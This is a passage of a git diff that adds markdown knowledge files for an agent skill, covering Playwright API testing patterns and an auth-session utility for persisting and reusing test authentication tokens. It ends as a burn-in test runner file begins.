+ // apiRequest retries 5xx errors by default + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/orders/order-123', + retryConfig: { + maxRetries: 3, + retryDelay: 1000, + }, + }); + + expect(status).toBe(200); + }); + + test('should list orders with pagination', async ({ apiRequest }) => { + const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({ + method: 'GET', + path: '/api/orders', + params: { page: 1, limit: 10, status: 'pending' }, + }); + + expect(status).toBe(200); + expect(body.orders).toHaveLength(10); + expect(body.total).toBeGreaterThan(10); + expect(body.page).toBe(1); + }); +}); +``` + +**Key Points**: + +- Zod schema for runtime validation AND TypeScript types +- `validateSchema` throws if response doesn't match +- Built-in retry for transient failures +- Type-safe `body` access +- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+) + +### Example 3: Microservice-to-Microservice Testing + +**Context**: Test service interactions without browser - validate API contracts between services. + +**Implementation**: + +```typescript +// tests/api/service-integration.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Service Integration', () => { + const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001'; + const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002'; + const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003'; + + test('order service should validate user exists', async ({ apiRequest }) => { + // Create user in user-service + const { body: user } = await apiRequest({ + method: 'POST', + path: '/api/users', + baseUrl: USER_SERVICE_URL, + body: { name: 'Test User', email: 'test@example.com' }, + }); + + // Create order in order-service (should validate user via user-service) + const { status, body: order } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE_URL, + body: { + userId: user.id, + items: [{ productId: 'prod-1', quantity: 1 }], + }, + }); + + expect(status).toBe(201); + expect(order.userId).toBe(user.id); + }); + + test('order service should reject invalid user', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE_URL, + body: { + userId: 'non-existent-user', + items: [{ productId: 'prod-1', quantity: 1 }], + }, + }); + + expect(status).toBe(400); + expect(body.code).toBe('INVALID_USER'); + }); + + test('order should decrease inventory', async ({ apiRequest, recurse }) => { + // Get initial inventory + const { body: initialInventory } = await apiRequest({ + method: 'GET', + path: '/api/inventory/prod-1', + baseUrl: INVENTORY_SERVICE_URL, + }); + + // Create order + await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE_URL, + body: { + userId: 'user-123', + items: [{ productId: 'prod-1', quantity: 2 }], + }, + }); + + // Poll for inventory update (eventual consistency) + const { body: updatedInventory } = await recurse( + () => + apiRequest({ + method: 'GET', + path: '/api/inventory/prod-1', + baseUrl: INVENTORY_SERVICE_URL, + }), + (response) => response.body.quantity === initialInventory.quantity - 2, + { timeout: 10000, interval: 500 }, + ); + + expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2); + }); +}); +``` + +**Key Points**: + +- Multiple service URLs for microservice testing +- Tests service-to-service communication +- Uses `recurse` for eventual consistency +- No browser needed for full integration testing + +### Example 4: GraphQL API Testing + +**Context**: Test GraphQL endpoints with queries and mutations. + +**Implementation**: + +```typescript +// tests/api/graphql.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +const GRAPHQL_ENDPOINT = '/graphql'; + +test.describe('GraphQL API', () => { + test('should query users', async ({ apiRequest }) => { + const query = ` + query GetUsers($limit: Int) { + users(limit: $limit) { + id + name + email + role + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query, + variables: { limit: 10 }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeUndefined(); + expect(body.data.users).toHaveLength(10); + expect(body.data.users[0]).toHaveProperty('id'); + expect(body.data.users[0]).toHaveProperty('name'); + }); + + test('should create user via mutation', async ({ apiRequest }) => { + const mutation = ` + mutation CreateUser($input: CreateUserInput!) { + createUser(input: $input) { + id + name + email + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query: mutation, + variables: { + input: { + name: 'GraphQL User', + email: 'graphql@example.com', + }, + }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeUndefined(); + expect(body.data.createUser.id).toBeDefined(); + expect(body.data.createUser.name).toBe('GraphQL User'); + }); + + test('should handle GraphQL errors', async ({ apiRequest }) => { + const query = ` + query GetUser($id: ID!) { + user(id: $id) { + id + name + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query, + variables: { id: 'non-existent' }, + }, + }); + + expect(status).toBe(200); // GraphQL returns 200 even for errors + expect(body.errors).toBeDefined(); + expect(body.errors[0].message).toContain('not found'); + expect(body.data.user).toBeNull(); + }); + + test('should handle validation errors', async ({ apiRequest }) => { + const mutation = ` + mutation CreateUser($input: CreateUserInput!) { + createUser(input: $input) { + id + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query: mutation, + variables: { + input: { + name: '', // Invalid: empty name + email: 'invalid-email', // Invalid: bad format + }, + }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeDefined(); + expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT'); + }); +}); +``` + +**Key Points**: + +- GraphQL queries and mutations via POST +- Variables passed in request body +- GraphQL returns 200 even for errors (check `body.errors`) +- Test validation and business logic errors + +### Example 5: Database Seeding and Cleanup via API + +**Context**: Use API calls to set up and tear down test data without direct database access. + +**Implementation**: + +```typescript +// tests/api/with-data-setup.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Orders with Data Setup', () => { + let testUser: { id: string; email: string }; + let testProducts: Array<{ id: string; name: string; price: number }>; + + test.beforeAll(async ({ request }) => { + // Seed user via API + const userResponse = await request.post('/api/users', { + data: { + name: 'Test User', + email: `test-${Date.now()}@example.com`, + }, + }); + testUser = await userResponse.json(); + + // Seed products via API + testProducts = []; + for (const product of [ + { name: 'Widget A', price: 29.99 }, + { name: 'Widget B', price: 49.99 }, + { name: 'Widget C', price: 99.99 }, + ]) { + const productResponse = await request.post('/api/products', { + data: product, + }); + testProducts.push(await productResponse.json()); + } + }); + + test.afterAll(async ({ request }) => { + // Cleanup via API + if (testUser?.id) { + await request.delete(`/api/users/${testUser.id}`); + } + for (const product of testProducts) { + await request.delete(`/api/products/${product.id}`); + } + }); + + test('should create order with seeded data', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: testUser.id, + items: [ + { productId: testProducts[0].id, quantity: 2 }, + { productId: testProducts[1].id, quantity: 1 }, + ], + }, + }); + + expect(status).toBe(201); + expect(body.userId).toBe(testUser.id); + expect(body.items).toHaveLength(2); + expect(body.total).toBe(2 * 29.99 + 49.99); + }); + + test('should list user orders', async ({ apiRequest }) => { + // Create an order first + await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: testUser.id, + items: [{ productId: testProducts[2].id, quantity: 1 }], + }, + }); + + // List orders for user + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/orders', + params: { userId: testUser.id }, + }); + + expect(status).toBe(200); + expect(body.orders.length).toBeGreaterThanOrEqual(1); + expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true); + }); +}); +``` + +**Key Points**: + +- `beforeAll`/`afterAll` for test data setup/cleanup +- API-based seeding (no direct DB access needed) +- Unique emails to prevent conflicts in parallel runs +- Cleanup after all tests complete + +### Example 6: Background Job Testing with Recurse + +**Context**: Test async operations like background jobs, webhooks, and eventual consistency. + +**Implementation**: + +```typescript +// tests/api/background-jobs.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Background Jobs', () => { + test('should process export job', async ({ apiRequest, recurse }) => { + // Trigger export job + const { body: job } = await apiRequest({ + method: 'POST', + path: '/api/exports', + body: { + type: 'users', + format: 'csv', + filters: { createdAfter: '2024-01-01' }, + }, + }); + + expect(job.id).toBeDefined(); + expect(job.status).toBe('pending'); + + // Poll until job completes + const { body: completedJob } = await recurse( + () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }), + (response) => response.body.status === 'completed', + { + timeout: 60000, + interval: 2000, + log: `Waiting for export job ${job.id} to complete`, + }, + ); + + expect(completedJob.status).toBe('completed'); + expect(completedJob.downloadUrl).toBeDefined(); + expect(completedJob.recordCount).toBeGreaterThan(0); + }); + + test('should handle job failure gracefully', async ({ apiRequest, recurse }) => { + // Trigger job that will fail + const { body: job } = await apiRequest({ + method: 'POST', + path: '/api/exports', + body: { + type: 'invalid-type', // This will cause failure + format: 'csv', + }, + }); + + // Poll until job fails + const { body: failedJob } = await recurse( + () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }), + (response) => ['completed', 'failed'].includes(response.body.status), + { timeout: 30000 }, + ); + + expect(failedJob.status).toBe('failed'); + expect(failedJob.error).toBeDefined(); + expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE'); + }); + + test('should process webhook delivery', async ({ apiRequest, recurse }) => { + // Trigger action that sends webhook + const { body: order } = await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: 'user-123', + items: [{ productId: 'prod-1', quantity: 1 }], + webhookUrl: 'https://webhook.site/test-endpoint', + }, + }); + + // Poll for webhook delivery status + const { body: webhookStatus } = await recurse( + () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }), + (response) => response.body.delivered === true, + { timeout: 30000, interval: 1000 }, + ); + + expect(webhookStatus.delivered).toBe(true); + expect(webhookStatus.deliveredAt).toBeDefined(); + expect(webhookStatus.responseStatus).toBe(200); + }); +}); +``` + +**Key Points**: + +- `recurse` for polling async operations +- Test both success and failure scenarios +- Configurable timeout and interval +- Log messages for debugging + +### Example 7: Service Authentication (No Browser) + +**Context**: Test authenticated API endpoints using tokens directly - no browser login needed. + +**Implementation**: + +```typescript +// tests/api/authenticated.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Authenticated API Tests', () => { + let authToken: string; + + test.beforeAll(async ({ request }) => { + // Get token via API (no browser!) + const response = await request.post('/api/auth/login', { + data: { + email: process.env.TEST_USER_EMAIL, + password: process.env.TEST_USER_PASSWORD, + }, + }); + + const { token } = await response.json(); + authToken = token; + }); + + test('should access protected endpoint with token', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + headers: { + Authorization: `Bearer ${authToken}`, + }, + }); + + expect(status).toBe(200); + expect(body.email).toBe(process.env.TEST_USER_EMAIL); + }); + + test('should reject request without token', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + // No Authorization header + }); + + expect(status).toBe(401); + expect(body.code).toBe('UNAUTHORIZED'); + }); + + test('should reject expired token', async ({ apiRequest }) => { + const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token + + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + headers: { + Authorization: `Bearer ${expiredToken}`, + }, + }); + + expect(status).toBe(401); + expect(body.code).toBe('TOKEN_EXPIRED'); + }); + + test('should handle role-based access', async ({ apiRequest }) => { + // User token (non-admin) + const { status } = await apiRequest({ + method: 'GET', + path: '/api/admin/users', + headers: { + Authorization: `Bearer ${authToken}`, + }, + }); + + expect(status).toBe(403); // Forbidden for non-admin + }); +}); +``` + +**Key Points**: + +- Token obtained via API login (no browser) +- Token reused across all tests in describe block +- Test auth, expired tokens, and RBAC +- Pure API testing without UI + +### Example 8: Operation-Based API Testing (OpenAPI / Code Generators) + +**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters. + +**Implementation**: + +```typescript +// tests/api/operations.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test.describe('API Tests with Generated Operations', () => { + test('should create entity with full type safety', async ({ apiRequest }) => { + // Operation object from code generator β€” contains path, method, and type info + const { status, body } = await apiRequest({ + operation: createEntityOp({ workspaceId }), + headers: getHeaders(workspaceId), + body: entityInput, // Compile-time typed from operation.request + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); // body typed from operation.response + }); + + test('should list with typed query parameters', async ({ apiRequest }) => { + // query field replaces manual string concatenation + const { body } = await apiRequest({ + operation: listEntitiesOp({ workspaceId }), + headers: getHeaders(workspaceId), + query: { page: 0, page_size: 10, status: 'active' }, + }); + + expect(body.items).toHaveLength(10); + expect(body.total).toBeGreaterThan(10); + }); + + test('should poll async operation until complete', async ({ apiRequest, recurse }) => { + const { body: job } = await apiRequest({ + operation: startJobOp({ workspaceId }), + headers: getHeaders(workspaceId), + body: { type: 'export' }, + }); + + await recurse( + async () => + apiRequest({ + operation: getJobOp({ workspaceId, jobId: job.id }), + headers: getHeaders(workspaceId), + }), + (res) => res.body.status === 'completed', + { timeout: 60000, interval: 2000 }, + ); + }); +}); +``` + +**Key Points**: + +- `operation` replaces `method` + `path` β€” mutually exclusive at compile time +- Types for body, response, and query all inferred from the operation definition +- Works with any code generator using structural typing (no imports from playwright-utils needed in generator) +- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features +- Preferred approach over `typeof operation.response` for generated operations + +## API Test Configuration + +### Playwright Config for API-Only Tests + +```typescript +// playwright.config.ts +import { defineConfig } from '@playwright/test'; + +export default defineConfig({ + testDir: './tests/api', + + // No browser needed for API tests + use: { + baseURL: process.env.API_URL || 'http://localhost:3000', + extraHTTPHeaders: { + Accept: 'application/json', + 'Content-Type': 'application/json', + }, + }, + + // Faster without browser overhead + timeout: 30000, + + // Run API tests in parallel + workers: 4, + fullyParallel: true, + + // No screenshots/traces needed for API tests + reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]], +}); +``` + +### Separate API Test Project + +```typescript +// playwright.config.ts +export default defineConfig({ + projects: [ + { + name: 'api', + testDir: './tests/api', + use: { + baseURL: process.env.API_URL, + }, + }, + { + name: 'e2e', + testDir: './tests/e2e', + use: { + baseURL: process.env.APP_URL, + ...devices['Desktop Chrome'], + }, + }, + ], +}); +``` + +## Comparison: API Tests vs E2E Tests + +| Aspect | API Test | E2E Test | +| ------------------- | ---------------------- | --------------------------- | +| **Speed** | ~50-100ms per test | ~2-10s per test | +| **Stability** | Very stable | More flaky (UI timing) | +| **Setup** | Minimal | Browser, context, page | +| **Debugging** | Clear request/response | DOM, screenshots, traces | +| **Coverage** | Service logic | User experience | +| **Parallelization** | Easy (stateless) | Complex (browser resources) | +| **CI Cost** | Low (no browser) | High (browser containers) | + +## Related Fragments + +- `api-request.md` - apiRequest utility details +- `recurse.md` - Polling patterns for async operations +- `auth-session.md` - Token management +- `contract-testing.md` - Pact contract testing +- `test-levels-framework.md` - When to use which test level +- `data-factories.md` - Test data setup patterns + +## Anti-Patterns + +**DON'T use E2E for API validation:** + +```typescript +// Bad: Testing API through UI +test('validate user creation', async ({ page }) => { + await page.goto('/admin/users'); + await page.fill('#name', 'John'); + await page.click('#submit'); + await expect(page.getByText('User created')).toBeVisible(); +}); +``` + +**DO test APIs directly:** + +```typescript +// Good: Direct API test +test('validate user creation', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/users', + body: { name: 'John' }, + }); + expect(status).toBe(201); + expect(body.id).toBeDefined(); +}); +``` + +**DON'T ignore API tests because "E2E covers it":** + +```typescript +// Bad thinking: "Our E2E tests create users, so API is tested" +// Reality: E2E tests one happy path; API tests cover edge cases +``` + +**DO have dedicated API test coverage:** + +```typescript +// Good: Explicit API test suite +test.describe('Users API', () => { + test('creates user', async ({ apiRequest }) => { + /* ... */ + }); + test('handles duplicate email', async ({ apiRequest }) => { + /* ... */ + }); + test('validates required fields', async ({ apiRequest }) => { + /* ... */ + }); + test('handles malformed JSON', async ({ apiRequest }) => { + /* ... */ + }); + test('rate limits requests', async ({ apiRequest }) => { + /* ... */ + }); +}); +``` diff --git a/.agents/skills/bmad-tea/resources/knowledge/auth-session.md b/.agents/skills/bmad-tea/resources/knowledge/auth-session.md new file mode 100644 index 000000000..905472fa9 --- /dev/null +++ b/.agents/skills/bmad-tea/resources/knowledge/auth-session.md @@ -0,0 +1,548 @@ +# Auth Session Utility + +## Principle + +Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.** + +## Rationale + +Playwright's built-in authentication works but has limitations: + +- Re-authenticates for every test run (slow) +- Single user per project setup +- No token expiration handling +- Manual session management +- Complex setup for multi-user scenarios + +The `auth-session` utility provides: + +- **Token persistence**: Authenticate once, reuse across runs +- **Multi-user support**: Different user identifiers in same test suite +- **Ephemeral auth**: On-the-fly user authentication without disk persistence +- **Worker-specific accounts**: Parallel execution with isolated user accounts +- **Automatic token management**: Checks validity, renews if expired +- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom) +- **API-first design**: Get tokens for API tests without browser overhead + +## Pattern Examples + +### Example 1: Basic Auth Session Setup + +**Context**: Configure global authentication that persists across test runs. + +**Implementation**: + +```typescript +// Step 1: Configure in global-setup.ts +import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session'; +import myCustomProvider from './auth/custom-auth-provider'; + +async function globalSetup() { + // Ensure storage directories exist + authStorageInit(); + + // Configure storage path + configureAuthSession({ + authStoragePath: process.cwd() + '/playwright/auth-sessions', + debug: true, + }); + + // Set custom provider (HOW to authenticate) + setAuthProvider(myCustomProvider); + + // Optional: pre-fetch token for default user + await authGlobalInit(); +} + +export default globalSetup; + +// Step 2: Create auth fixture +import { test as base } from '@playwright/test'; +import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session'; +import myCustomProvider from './custom-auth-provider'; + +// Register provider early +setAuthProvider(myCustomProvider); + +export const test = base.extend(createAuthFixtures()); + +// Step 3: Use in tests +test('authenticated request', async ({ authToken, request }) => { + const response = await request.get('/api/protected', { + headers: { Authorization: `Bearer ${authToken}` }, + }); + + expect(response.ok()).toBeTruthy(); +}); +``` + +**Key Points**: + +- Global setup runs once before all tests +- Token fetched once, reused across all tests +- Custom provider defines your auth mechanism +- Order matters: configure, then setProvider, then init + +### Example 2: Multi-User Authentication + +**Context**: Testing with different user roles (admin, regular user, guest) in same test suite. + +**Implementation**: + +```typescript +import { test } from '../support/auth/auth-fixture'; + +// Option 1: Per-test user override +test('admin actions', async ({ authToken, authOptions }) => { + // Override default user + authOptions.userIdentifier = 'admin'; + + const { authToken: adminToken } = await test.step('Get admin token', async () => { + return { authToken }; // Re-fetches with new identifier + }); + + // Use admin token + const response = await request.get('/api/admin/users', { + headers: { Authorization: `Bearer ${adminToken}` }, + }); +}); + +// Option 2: Parallel execution with different users +test.describe.parallel('multi-user tests', () => { + test('user 1 actions', async ({ authToken }) => { + // Uses default user (e.g., 'user1') + }); + + test('user 2 actions', async ({ authToken, authOptions }) => { + authOptions.userIdentifier = 'user2'; + // Uses different token for user2 + }); +}); +``` + +**Key Points**: + +- Override `authOptions.userIdentifier` per test +- Tokens cached separately per user identifier +- Parallel tests isolated with different users +- Worker-specific accounts possible + +### Example 3: Ephemeral User Authentication + +**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow). + +**Implementation**: + +```typescript +import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session'; +import { createTestUser } from '../utils/user-factory'; + +test('ephemeral user test', async ({ context, page }) => { + // Create temporary user (not persisted) + const ephemeralUser = await createTestUser({ + role: 'admin', + permissions: ['delete-users'], + }); + + // Apply auth directly to browser context + await applyUserCookiesToBrowserContext(context, ephemeralUser); + + // Page now authenticated as ephemeral user + await page.goto('/admin/users'); + + await expect(page.getByTestId('delete-user-btn')).toBeVisible(); + + // User and token cleaned up after test +}); +``` + +**Key Points**: + +- No disk persistence (ephemeral) +- Apply cookies directly to context +- Useful for testing user lifecycle +- Clean up automatic when test ends + +### Example 4: Testing Multiple Users in Single Test + +**Context**: Testing interactions between users (messaging, sharing, collaboration features). + +**Implementation**: + +```typescript +test('user interaction', async ({ browser }) => { + // User 1 context + const user1Context = await browser.newContext({ + storageState: './auth-sessions/local/user1/storage-state.json', + }); + const user1Page = await user1Context.newPage(); + + // User 2 context + const user2Context = await browser.newContext({ + storageState: './auth-sessions/local/user2/storage-state.json', + }); + const user2Page = await user2Context.newPage(); + + // User 1 sends message + await user1Page.goto('/messages'); + await user1Page.fill('#message', 'Hello from user 1'); + await user1Page.click('#send'); + + // User 2 receives message + await user2Page.goto('/messages'); + await expect(user2Page.getByText('Hello from user 1')).toBeVisible(); + + // Cleanup + await user1Context.close(); + await user2Context.close(); +}); +``` + +**Key Points**: + +- Each user has separate browser context +- Reference storage state files directly +- Test real-time interactions +- Clean up contexts after test + +### Example 5: Worker-Specific Accounts (Parallel Testing) + +**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts. + +**Implementation**: + +```typescript +// playwright.config.ts +export default defineConfig({ + workers: 4, // 4 parallel workers + use: { + // Each worker uses different user + storageState: async ({}, use, testInfo) => { + const workerIndex = testInfo.workerIndex; + const userIdentifier = `worker-${workerIndex}`; + + await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`); + }, + }, +}); + +// Tests run in parallel, each worker with its own user +test('parallel test 1', async ({ page }) => { + // Worker 0 uses worker-0 account + await page.goto('/dashboard'); +}); + +test('parallel test 2', async ({ page }) => { + // Worker 1 uses worker-1 account + await page.goto('/dashboard'); +}); +``` + +**Key Points**: + +- Each worker has isolated user account +- No conflicts in parallel execution +- Token management automatic per worker +- Scales to any number of workers + +### Example 6: Pure API Authentication (No Browser) + +**Context**: Get auth tokens for API-only tests using auth-session disk persistence. + +**Implementation**: + +```typescript +// Step 1: Create API-only auth provider (no browser needed) +// playwright/support/api-auth-provider.ts +import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session'; + +const apiAuthProvider: AuthProvider = { + getEnvironment: (options) => options.environment || 'local', + getUserIdentifier: (options) => options.userIdentifier || 'api-user', + + extractToken: (storageState) => { + // Token stored in localStorage format for disk persistence + const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token'); + return tokenEntry?.value; + }, + + isTokenExpired: (storageState) => { + const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry'); + if (!expiryEntry) return true; + return Date.now() > parseInt(expiryEntry.value, 10); + }, + + manageAuthToken: async (request, options) => { + const email = process.env.TEST_USER_EMAIL; + const password = process.env.TEST_USER_PASSWORD; + + if (!email || !password) { + throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set'); + } + + // Pure API login - no browser! + const response = await request.post('/api/auth/login', { + data: { email, password }, + }); + + if (!response.ok()) { + throw new Error(`Auth failed: ${response.status()}`); + } + + const { token, expiresIn } = await response.json(); + const expiryTime = Date.now() + expiresIn * 1000; + + // Return storage state format for disk persistence + return { + cookies: [], + origins: [ + { + origin: process.env.API_BASE_URL || 'http://localhost:3000', + localStorage: [ + { name: 'auth_token', value: token }, + { name: 'token_expiry', value: String(expiryTime) }, + ], + }, + ], + }; + }, +}; + +export default apiAuthProvider; + +// Step 2: Create auth fixture +// playwright/support/fixtures.ts +import { test as base } from '@playwright/test'; +import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session'; +import apiAuthProvider from './api-auth-provider'; + +setAuthProvider(apiAuthProvider); + +export const test = base.extend(createAuthFixtures()); + +// Step 3: Use in tests - token persisted to disk! +// tests/api/authenticated-api.spec.ts +import { test } from '../support/fixtures'; +import { expect } from '@playwright/test'; + +test('should access protected endpoint', async ({ authToken, apiRequest }) => { + // authToken is automatically loaded from disk or fetched if expired + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/me', + headers: { Authorization: `Bearer ${authToken}` }, + }); + + expect(status).toBe(200); +}); + +test('should create resource with auth', async ({ authToken, apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + headers: { Authorization: `Bearer ${authToken}` }, + body: { items: [{ productId: 'prod-1', quantity: 2 }] }, + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); +}); +``` + +**Key Points**: + +- Token persisted to disk (not in-memory) - survives test reruns +- Provider fetches token once, reuses until expired +- Pure API authentication - no browser context needed +- `authToken` fixture handles disk read/write automatically +- Environment variables validated with clear error message + +### Example 7: Service-to-Service Authentication + +**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation. + +**Implementation**: + +```typescript +// tests/api/service-auth.spec.ts +import { test as base, expect } from '@playwright/test'; +import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures'; +import { mergeTests } from '@playwright/test'; + +// Validate environment variables at module load +const SERVICE_API_KEY = process.env.SERVICE_API_KEY; +const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL; + +if (!SERVICE_API_KEY) { + throw new Error('SERVICE_API_KEY environment variable is required'); +} +if (!INTERNAL_SERVICE_URL) { + throw new Error('INTERNAL_SERVICE_URL environment variable is required'); +} + +const test = mergeTests(base, apiFixture); + +test.describe('Service-to-Service Auth', () => { + test('should authenticate with API key', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/internal/health', + baseUrl: INTERNAL_SERVICE_URL, + headers: { 'X-API-Key': SERVICE_API_KEY }, + }); + + expect(status).toBe(200); + expect(body.status).toBe('healthy'); + }); + + test('should reject invalid API key', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/internal/health', + baseUrl: INTERNAL_SERVICE_URL, + headers: { 'X-API-Key': 'invalid-key' }, + }); + + expect(status).toBe(401); + expect(body.code).toBe('INVALID_API_KEY'); + }); + + test('should call downstream service with propagated auth', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/internal/aggregate-data', + baseUrl: INTERNAL_SERVICE_URL, + headers: { + 'X-API-Key': SERVICE_API_KEY, + 'X-Request-ID': `test-${Date.now()}`, + }, + body: { sources: ['users', 'orders', 'inventory'] }, + }); + + expect(status).toBe(200); + expect(body.aggregatedFrom).toHaveLength(3); + }); +}); +``` + +**Key Points**: + +- Environment variables validated at module load with clear errors +- API key authentication (simpler than OAuth - no disk persistence needed) +- Test internal/service endpoints +- Validate auth rejection scenarios +- Correlation ID for request tracing + +> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6. + +## Custom Auth Provider Pattern + +**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom). + +**Minimal provider structure**: + +```typescript +import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session'; + +const myCustomProvider: AuthProvider = { + getEnvironment: (options) => options.environment || 'local', + + getUserIdentifier: (options) => options.userIdentifier || 'default-user', + + extractToken: (storageState) => { + // Extract token from your storage format + return storageState.cookies.find((c) => c.name === 'auth_token')?.value; + }, + + extractCookies: (tokenData) => { + // Convert token to cookies for browser context + return [ + { + name: 'auth_token', + value: tokenData, + domain: 'example.com', + path: '/', + httpOnly: true, + secure: true, + }, + ]; + }, + + isTokenExpired: (storageState) => { + // Check if token is expired + const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at'); + return Date.now() > parseInt(expiresAt?.value || '0'); + }, + + manageAuthToken: async (request, options) => { + // Main token acquisition logic + // Return storage state with cookies/localStorage + }, +}; + +export default myCustomProvider; +``` + +## Integration with API Request + +```typescript +import { test } from '@seontechnologies/playwright-utils/fixtures'; + +test('authenticated API call', async ({ apiRequest, authToken }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/protected', + headers: { Authorization: `Bearer ${authToken}` }, + }); + + expect(status).toBe(200); +}); +``` + +## Related Fragments + +- `api-testing-patterns.md` - Pure API testing patterns (no browser) +- `overview.md` - Installation and fixture composition +- `api-request.md` - Authenticated API requests +- `fixtures-composition.md` - Merging auth with other utilities + +## Anti-Patterns + +**❌ Calling setAuthProvider after globalSetup:** + +```typescript +async function globalSetup() { + configureAuthSession(...) + await authGlobalInit() // Provider not set yet! + setAuthProvider(provider) // Too late +} +``` + +**βœ… Register provider before init:** + +```typescript +async function globalSetup() { + authStorageInit() + configureAuthSession(...) + setAuthProvider(provider) // First + await authGlobalInit() // Then init +} +``` + +**❌ Hardcoding storage paths:** + +```typescript +const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle +``` + +**βœ… Use helper functions:** + +```typescript +import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session'; + +const tokenPath = getTokenFilePath({ + environment: 'local', + userIdentifier: 'user1', + tokenFileName: 'storage-state.json', +}); +``` diff --git a/.agents/skills/bmad-tea/resources/knowledge/burn-in.md b/.agents/skills/bmad-tea/resources/knowledge/burn-in.md new file mode 100644 index 000000000..d8b9f9ecb --- /dev/null +++ b/.agents/skills/bmad-tea/resources/knowledge/burn-in.md @@ -0,0 +1,273 @@ +# Burn-in Test Runner + +## Principle + +Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability. + +## Rationale + +Playwright's `--only-changed` triggers all affected tests: + +- Config file changes trigger hundreds of tests +- Type definition changes cause full suite runs +- No volume control (all or nothing) +- Slow CI pipelines + +The `burn-in` utility provides: + +- **Smart filtering**: Skip patterns for irrelevant 